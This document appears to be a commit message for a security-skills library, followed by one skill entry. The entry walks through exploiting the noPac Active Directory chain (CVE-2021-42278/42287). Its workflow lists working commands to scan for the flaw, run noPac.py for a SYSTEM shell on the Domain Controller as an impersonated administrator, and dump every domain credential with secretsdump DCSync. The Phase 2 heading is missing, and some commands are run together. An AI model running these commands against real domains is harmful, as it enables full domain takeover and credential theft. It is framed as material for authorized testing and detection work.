Mapped every skill to NIST CSF 2.0 subcategory IDs (GV/ID/PR/DE/RS/RC functions)
based on subdomain and content analysis. Restores 11 skills corrupted during
prior rebase, re-enriching with ATLAS, D3FEND, NIST AI RMF, and CSF 2.0 fields.
All 754 skills now carry structured mappings for all 5 security frameworks:
- MITRE ATT&CK (in tags)
- MITRE ATLAS v5.5 (atlas_techniques)
- MITRE D3FEND v1.3 (d3fend_techniques)
- NIST AI RMF 1.0 (nist_ai_rmf)
- NIST CSF 2.0 (nist_csf)
Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing ). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.
When to Use
When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287
When analyzing malware samples or attack artifacts in a controlled environment
When conducting red team exercises or penetration testing engagements
When building detection capabilities based on offensive technique understanding
Prerequisites
Familiarity with red teaming concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities
Objectives
Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
Create or leverage a machine account with modified sAMAccountName
Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
Use the DC ticket to perform DCSync and dump domain credentials
Achieve Domain Admin access from a standard domain user account
Document the complete exploitation chain with evidence
MITRE ATT&CK Mapping
T1068 - Exploitation for Privilege Escalation
T1136.002 - Create Account: Domain Account
T1078.002 - Valid Accounts: Domain Accounts
T1558 - Steal or Forge Kerberos Tickets
T1003.006 - OS Credential Dumping: DCSync
Workflow
Phase 1: Vulnerability Scanning
Check if the domain is vulnerable using the noPac scanner:
# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
Verify the MachineAccountQuota (default is 10, allows any user to join computers):
# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
The exploit automatically:
Creates a new machine account (or uses an existing one)
Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
Requests a TGT for the spoofed account name
Restores the original sAMAccountName
Uses S4U2self to obtain a service ticket impersonating the target user
The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)
Phase 3: Post-Exploitation
With the obtained Domain Controller ticket, perform DCSync:
# DCSync using secretsdump.py with the Kerberos ticketexportKRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# Or directly through the noPac shell# The shell runs as SYSTEM on the DC